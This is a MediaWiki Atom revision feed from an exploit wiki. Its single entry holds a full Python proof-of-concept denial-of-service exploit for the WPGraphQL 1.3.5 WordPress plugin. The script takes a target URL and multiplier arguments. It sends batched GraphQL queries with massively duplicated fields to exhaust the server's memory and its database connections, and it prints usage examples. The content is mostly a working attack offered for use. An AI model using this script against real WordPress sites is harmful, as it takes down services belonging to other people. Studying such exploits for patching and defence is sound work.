<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="chinese">
	<id>https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=WordPress_Plugin_WPGraphQL_1.3.5_%E6%8B%92%E7%B5%95%E6%9C%8D%E5%8B%99%E6%BC%8F%E6%B4%9E</id>
	<title>WordPress Plugin WPGraphQL 1.3.5 拒絕服務漏洞 - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=WordPress_Plugin_WPGraphQL_1.3.5_%E6%8B%92%E7%B5%95%E6%9C%8D%E5%8B%99%E6%BC%8F%E6%B4%9E"/>
	<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=WordPress_Plugin_WPGraphQL_1.3.5_%E6%8B%92%E7%B5%95%E6%9C%8D%E5%8B%99%E6%BC%8F%E6%B4%9E&amp;action=history"/>
	<updated>2026-04-07T23:32:55Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://pwnwiki.com/index.php?title=WordPress_Plugin_WPGraphQL_1.3.5_%E6%8B%92%E7%B5%95%E6%9C%8D%E5%8B%99%E6%BC%8F%E6%B4%9E&amp;diff=1906&amp;oldid=prev</id>
		<title>Pwnwiki: Created page with &quot;==EXP== &lt;pre&gt; # Exploit Title: WordPress Plugin WPGraphQL 1.3.5 - Denial of Service  # Author: Dolev Farhi # Date: 2021-04-12 # Vendor Homepage: https://www.wpgraphql.com/ # V...&quot;</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=WordPress_Plugin_WPGraphQL_1.3.5_%E6%8B%92%E7%B5%95%E6%9C%8D%E5%8B%99%E6%BC%8F%E6%B4%9E&amp;diff=1906&amp;oldid=prev"/>
		<updated>2021-04-27T11:44:54Z</updated>

		<summary type="html">&lt;p&gt;Created page with &amp;quot;==EXP== &amp;lt;pre&amp;gt; # Exploit Title: WordPress Plugin WPGraphQL 1.3.5 - Denial of Service  # Author: Dolev Farhi # Date: 2021-04-12 # Vendor Homepage: https://www.wpgraphql.com/ # V...&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;==EXP==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# Exploit Title: WordPress Plugin WPGraphQL 1.3.5 - Denial of Service &lt;br /&gt;
# Author: Dolev Farhi&lt;br /&gt;
# Date: 2021-04-12&lt;br /&gt;
# Vendor Homepage: https://www.wpgraphql.com/&lt;br /&gt;
# Version: 1.3.5 &lt;br /&gt;
# Tested on: Ubuntu&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;quot;&amp;quot;&amp;quot;&lt;br /&gt;
  This attack uses duplication of fields amplified by GraphQL batched queries, resulting in server OOM and MySQL connection errors.&lt;br /&gt;
&amp;quot;&amp;quot;&amp;quot;&lt;br /&gt;
&lt;br /&gt;
import sys&lt;br /&gt;
import requests&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
def usage():&lt;br /&gt;
  print('* WordPress GraphQL 1.3.5 Denial of Service *')&lt;br /&gt;
  print('python {} &amp;lt;wordpress_url&amp;gt; &amp;lt;number_of_field_duplications&amp;gt; &amp;lt;number_of_chained_queries&amp;gt;'.format(sys.argv[0]))&lt;br /&gt;
  print('python {} http://site.com 10000 100'.format(sys.argv[0]))&lt;br /&gt;
  sys.exit(1)&lt;br /&gt;
&lt;br /&gt;
if len(sys.argv) &amp;lt; 4:&lt;br /&gt;
  print('Missing arguments!')&lt;br /&gt;
  usage()&lt;br /&gt;
&lt;br /&gt;
def wpgql_exists():&lt;br /&gt;
  try:&lt;br /&gt;
    r = requests.post(WORDPRESS_URL, json='x')&lt;br /&gt;
    if 'GraphQL' in r.json()['errors'][0]['message']:&lt;br /&gt;
      return True&lt;br /&gt;
  except:&lt;br /&gt;
    pass&lt;br /&gt;
  return False&lt;br /&gt;
&lt;br /&gt;
# This PoC assumes graphql is located at index.php?graphql&lt;br /&gt;
WORDPRESS_URL = sys.argv[1] + '/index.php?graphql'&lt;br /&gt;
FORCE_MULTIPLIER = int(sys.argv[2])&lt;br /&gt;
CHAINED_REQUESTS = int(sys.argv[3])&lt;br /&gt;
&lt;br /&gt;
if wpgql_exists is False:&lt;br /&gt;
  print('Could not identify GraphQL running at &amp;quot;/index.php?graphql&amp;quot;')&lt;br /&gt;
  sys.exit(1)&lt;br /&gt;
&lt;br /&gt;
queries = []&lt;br /&gt;
&lt;br /&gt;
payload = 'content \n comments { \n nodes { \n content } }' * FORCE_MULTIPLIER&lt;br /&gt;
query = {'query':'query { \n posts { \n nodes { \n ' + payload + '} } }'}&lt;br /&gt;
&lt;br /&gt;
for _ in range(0, CHAINED_REQUESTS):&lt;br /&gt;
  queries.append(query)&lt;br /&gt;
&lt;br /&gt;
r = requests.post(WORDPRESS_URL, json=queries)&lt;br /&gt;
print('Time took: {} seconds '.format(r.elapsed.total_seconds()))&lt;br /&gt;
print('Response:', r.json())&lt;br /&gt;
            &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
</feed>